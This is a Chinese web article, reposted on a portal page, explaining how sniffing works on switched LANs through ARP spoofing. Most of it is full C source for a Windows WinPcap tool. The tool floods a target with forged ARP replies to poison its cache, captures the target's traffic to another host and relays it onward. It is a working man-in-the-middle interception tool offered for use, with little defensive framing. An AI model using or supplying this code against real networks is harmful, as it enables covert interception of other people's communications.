分享
 
 
 

基于ARP欺骗的嗅探原理

王朝vc·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

嗅探器(sniffer)是一种刺探网络中传输数据的工具。为达到这一目的,一般的做法是设置网卡为混杂模式,这样就可以嗅探到所有经过本机网卡的数据(这种一般的sniffer原理不在此阐述)。但是这种sniffer有一个缺点,就是它只适用于共享式局域网,对于交换式局域网无效。因为在交换式局域网中,网络中的数据并不会经过每一台主机的网卡,所以对于交换式局域网,就要用另外一种更为主动的方法去嗅探,那就是基于ARP欺骗的嗅探。

我们假设有三台主机A,B,C位于同一个交换式局域网中,攻击者处于主机A,而主机B,C正在通信。现在A希望能嗅探到B->C的数据,于是A就可以伪装成C对B做ARP欺骗——向B发送伪造的ARP应答包,应答包中IP地址为C的IP地址而MAC地址为A的MAC地址。这个应答包会刷新B的ARP缓存,让B认为A就是C,说详细点,就是让B认为C的IP地址映射到的MAC地址为主机A的MAC地址。这样,B想要发送给C的数据实际上却发送给了A,就达到了嗅探的目的。另外,由于ARP缓存是动态更新的,因此,我们要不断的向B发送伪造的ARP应答包,以防止B的ARP缓存中的IP-MAC映射关系被C改回来。(这里涉及到ARP欺骗的知识,如果对此有疑惑,请查阅相关资料。)当然,这样嗅探之后,本应接收到数据的C就不能接收到B发送过来的数据了,也就是说,B和C的通信相当于被中断了。因此,我们在嗅探到数据后,还必须将此数据转发给C,这样才能保证B,C的通信不被中断。

以上就是基于ARP欺骗的嗅探基本原理,在这种嗅探方法中,嗅探者A实际上是插入到了B->C中,B的数据先发送给了A,然后再由A转发给C,其数据传输关系如下所示:

B----->A----->C

B<------------C

当然,如果你还想嗅探到C->B的数据,还可以将A插入到C->B中,这样,就能嗅探到B,C间通信的全部数据了。

下面,还是用具体的代码来说明问题。在这个代码中,涉及到了IPHLPAPI和winpcap的编程,请查阅相关资料:

#include "stdafx.h"

#include "winsock2.h"

#include "Packet32.h"

#include "wchar.h"

#include "stdio.h"

#include "Iphlpapi.h"

#pragma comment(lib, "packet.lib")

#pragma comment(lib, "ws2_32.lib")

#pragma comment(lib,"iphlpapi.lib")

#define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式

#pragma pack(push, 1)

typedef struct _et_header //以太网头部

{

unsigned char eh_dst[6];

unsigned char eh_src[6];

unsigned short eh_type;

}ET_HEADER;

typedef struct _arp_header //ARP头部

{

unsigned short arp_hdr;

unsigned short arp_pro;

unsigned char arp_hln;

unsigned char arp_pln;

unsigned short arp_opt;

unsigned char arp_sha[6];

unsigned long arp_spa;

unsigned char arp_tha[6];

unsigned long arp_tpa;

}ARP_HEADER;

typedef struct _ip_header

{

char m_ver_hlen; //4位版本号,4位ip头部长

char m_tos;

USHORT m_tlen;

USHORT m_ident;

USHORT m_flag_frag; //3位标志位(1位未用位,1位DF,1位MF),13位片断偏移量

char m_ttl;

char m_protocol;

USHORT m_cksum;

ULONG m_sIP;

ULONG m_dIP;

}IP_HEADER;

typedef struct info //将被传递到监听线程的信息结构

{

LPADAPTER lpAdapter;

char simulateIP[20];

char targetIP[20];

}INFO;

#pragma pack(pop)

void usage()

{

printf("***********************************\n");

printf("* Made by ffantasyYD *\n");

printf("* QQ:76889713 *\n");

printf("* email:ffantasyYD@163.com *\n");

printf("***********************************\n");

printf("This program have 2 param: P2PSniffer targetIP simulateIP\n");

}

void StrToMac(char *str,char *mac) //自定义的将字符串转换成mac地址的函数

{

char *str1;

int i;

int low,high;

char temp;

for(i=0;i<6;i++)

{

str1=str+1;

switch(*str)

{

case 'a':high=10;

break;

case 'b':high=11;

break;

case 'c':high=12;

break;

case 'd':high=13;

break;

case 'e':high=14;

break;

case 'f':high=15;

break;

default:temp=*str;

high=atoi(&temp);

}

switch(*str1)

{

case 'a':low=10;

break;

case 'b':low=11;

break;

case 'c':low=12;

break;

case 'd':low=13;

break;

case 'e':low=14;

break;

case 'f':low=15;

break;

default:temp=*str1;

low=atoi(&temp);

}

mac[i]=high*16+low;

str+=2;

}

}

void getLocalMac(char *localMac,char *localIP) //获取本机MAC地址

{

ULONG numOfAdapter=0;

char mac[5][20]={0},IP[5][20]={0};

GetAdaptersInfo(NULL,&numOfAdapter); //取得网卡信息

if(numOfAdapter!=0)

{

IP_ADAPTER_INFO *pAdapterInfo=(IP_ADAPTER_INFO *)malloc( numOfAdapter*sizeof(IP_ADAPTER_INFO) );

memset( pAdapterInfo,0,numOfAdapter*sizeof(IP_ADAPTER_INFO) );

GetAdaptersInfo(pAdapterInfo,&numOfAdapter);

printf("Please select the local mac!\n");

for(int i=0;( (i<5) && (pAdapterInfo!=NULL) );i++)

{

sprintf(mac[i],"%02x%02x%02x%02x%02x%02x",pAdapterInfo->Address[0],pAdapterInfo->Address[1],pAdapterInfo->Address[2],

pAdapterInfo->Address[3],pAdapterInfo->Address[4],pAdapterInfo->Address[5]);

memcpy( IP[i],pAdapterInfo->IpAddressList.IpAddress.String,strlen(pAdapterInfo->IpAddressList.IpAddress.String) );

printf("%d, %s--%s\n",i+1,IP[i],mac[i]);

pAdapterInfo=pAdapterInfo->Next;

}

}

int index=0;

scanf("%d",&index);

memcpy(localMac,mac[index-1],strlen(mac[index-1]));

memcpy(localIP,IP[index-1],strlen(IP[index-1]));

return;

}

bool getRemoteMac(char *remoteMac,char *remoteIP) //获取远程主机MAC地址

{

WSADATA wsaData;

ULONG remoteAddr=0,macAddrLen=6;

char remoteMacTemp[6]={0};

if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)

{

printf("WSAStartup error!\n");

return FALSE;

}

remoteAddr=inet_addr(remoteIP);

if(SendARP(remoteAddr, (unsigned long)NULL,(PULONG)&remoteMacTemp, &macAddrLen)!=NO_ERROR)

{

printf("Get remote MAC failed!\n");

return FALSE;

}

memcpy(remoteMac,remoteMacTemp,6);

/*

for(int i=0; i<6; i++ )

{

printf( "%.2x", remoteMac[i] );

}

printf("\n");

*/

return TRUE;

}

void assay(LPADAPTER lpAdapter,LPPACKET lpPacket,char *targetIP,char *simulateIP) //分析接收到数据包

{

char *buf;

bpf_hdr *lpBpfhdr;

ET_HEADER *lpEthdr;

in_addr addr={0};

buf=(char *)lpPacket->Buffer;

lpBpfhdr=(bpf_hdr *)buf;

lpEthdr=(ET_HEADER *)(buf+lpBpfhdr->bh_hdrlen);

if(lpEthdr->eh_type==htons(0x0800)) //判断是否为IP包

{

IP_HEADER *lpIphdr=(IP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER));

char source_ip[20]={0},dest_ip[20]={0};

addr.S_un.S_addr=lpIphdr->m_sIP;

memcpy(source_ip,inet_ntoa(addr),strlen(inet_ntoa(addr)));

memset(&addr,0,sizeof(in_addr));

addr.S_un.S_addr=lpIphdr->m_dIP;

memcpy(dest_ip,inet_ntoa(addr),strlen(inet_ntoa(addr)));

if( ( strcmp ( source_ip , targetIP ) == 0 ) && ( strcmp ( dest_ip , simulateIP ) == 0 ) )

{

printf("There is a IP packet from %s to %s !\n",targetIP,simulateIP);

//以下是将嗅探到的包发送到真正的目的地:

char mac[6]={0};

LPPACKET lpSendPacket=NULL;

char sendBuf[512]={0};

getRemoteMac(mac,simulateIP);

memcpy(lpEthdr->eh_dst,mac,6);

memcpy(sendBuf,lpEthdr,sizeof(ET_HEADER));

memcpy(sendBuf+sizeof(ET_HEADER),lpIphdr,ntohs(lpIphdr->m_tlen));

lpSendPacket=PacketAllocatePacket();

PacketInitPacket(lpSendPacket,sendBuf,512);

PacketSetNumWrites(lpAdapter,2);

PacketSendPacket(lpAdapter,lpSendPacket,TRUE);

PacketFreePacket(lpSendPacket); //释放PACKET结构指针

}

}

}

DWORD WINAPI Listen(void *param) //监听线程

{

LPADAPTER lpAdapter;

INFO *pInfo=(INFO *)param;

LPPACKET lpPacket;

char buf[512]={0};

lpAdapter=pInfo->lpAdapter;

//printf("%s,%s\n",pInfo->near_ip,pInfo->far_ip);

PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_DIRECTED); //设置网卡为直接模式

PacketSetBuff(lpAdapter,1024); //设置网卡接收数据包的缓冲区大小

PacketSetReadTimeout(lpAdapter,2); //设置接收到一个包后的“休息”时间

while(1)

{

lpPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存

PacketInitPacket(lpPacket,buf,512); //初始化PACKET结构指针

PacketReceivePacket(lpAdapter, lpPacket, TRUE); //接收数据包

assay(lpAdapter,lpPacket,pInfo->targetIP,pInfo->simulateIP); //分析数据包

//每次收包后重置lpPacket:

PacketFreePacket(lpPacket);

memset(buf,0,512);

}

PacketFreePacket(lpPacket); //释放lpPacket

return 1;

}

int main(int argc, char* argv[])

{

char s_mac[6]={0};

LPADAPTER lpAdapter;

LPPACKET lpPacket;

ET_HEADER et_header;

ARP_HEADER arp_header;

static CHAR adapter_list[10][1024];

WCHAR adapter_name[2048];

WCHAR *name1,*name2;

ULONG adapter_length=1024;

ULONG i,adapter_num=0;

char buffer[512]={0};

INFO param={0};

usage();

if(argc!=3)

{

return -1;

}

//获取MAC地址:

char localMac[20]={0},localIP[20]={0};

getLocalMac(localMac,localIP);

char remoteMac[6]={0};

if(getRemoteMac(remoteMac,argv[1])==FALSE)

{

return -1;

}

//打开适配器:

//取得所有适配器的名字.

if(PacketGetAdapterNames((char*)adapter_name, &adapter_length)==FALSE)

{

//adapter_name:一个用于存放适配器的名字的缓冲区。一个适配器名字的每一个字符

//之间由一个'\0'隔开,两个适配器名字之间用两个'\0'隔开,连续遇到超过两个的

//'\0'就认为适配器名字已取完。

//adapter_length:这个缓冲区的大小

printf("PacketGetAdapterNames error:%d\n",GetLastError());

return -1;

}

name1=adapter_name;

name2=adapter_name;

i = 0;

//把adapter_name中的适配器名字,分别copy到adapter_list[]中,i从0开始为第一个

while((*name1!='\0') || (*(name1-1)!='\0'))

{

if(*name1=='\0')

{

memcpy(adapter_list[i],name2,2*(name1-name2));

name2=name1+1;

i++;

}

name1++;

}

//默认打开第一块适配器

lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)adapter_list[0]);

if (!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))

{

printf("Unable to open the driver, Error Code : %lx\n", GetLastError());

return -1;

}

//启动监听线程:

param.lpAdapter=lpAdapter;

memcpy(param.targetIP,argv[1],strlen(argv[1]));

memcpy(param.simulateIP,argv[2],strlen(argv[2]));

CreateThread(NULL,0,Listen,&param,0,NULL);

//伪造ARP应答包:

StrToMac(localMac,s_mac); //local_mac

memcpy(et_header.eh_src,s_mac,6);

memcpy(et_header.eh_dst,remoteMac,6);

et_header.eh_type=htons(0x0806); //类型为0x0806表示这是ARP包

arp_header.arp_hdr=htons(0x0001); //硬件地址类型以太网地址

arp_header.arp_pro=htons(0x0800); //协议地址类型为IP协议

arp_header.arp_hln=6; //硬件地址长度为6

arp_header.arp_pln=4; //协议地址长度为4

arp_header.arp_opt=htons(0x0002); //标识为ARP应答

arp_header.arp_spa=inet_addr(argv[2]); //source_ip

memcpy(arp_header.arp_sha,et_header.eh_src,6);

arp_header.arp_tpa=inet_addr(argv[1]); //target_ip

memcpy(arp_header.arp_tha,et_header.eh_dst,6);

memcpy(buffer,&et_header,sizeof(ET_HEADER));

memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));

//发送伪造地ARP应答包:

lpPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存

PacketInitPacket(lpPacket,buffer,512); //初始化PACKET结构指针

if(PacketSetNumWrites(lpAdapter,2)==FALSE) //设置发送次数

{

printf("warning: Unable to send more than one packet in a single write!\n");

}

printf("Start.............\n");

while(1)

{

if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE) //不断发送伪造的ARP应答包达到欺骗目标主机的目的

{

printf("Error sending the packets!\n");

break;

}

Sleep(2000);

}

PacketFreePacket(lpPacket); //释放PACKET结构指针

Sleep(5000);

PacketCloseAdapter(lpAdapter); //关闭适配器

return 0;

}

以上就是这种嗅探的基本实现。当然,要对交换式局域网中的数据进行嗅探还有很多种方法,比如,可以用ARP欺骗去欺骗交换机等。总之,方法有很多,只有想不到,没有做不到。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有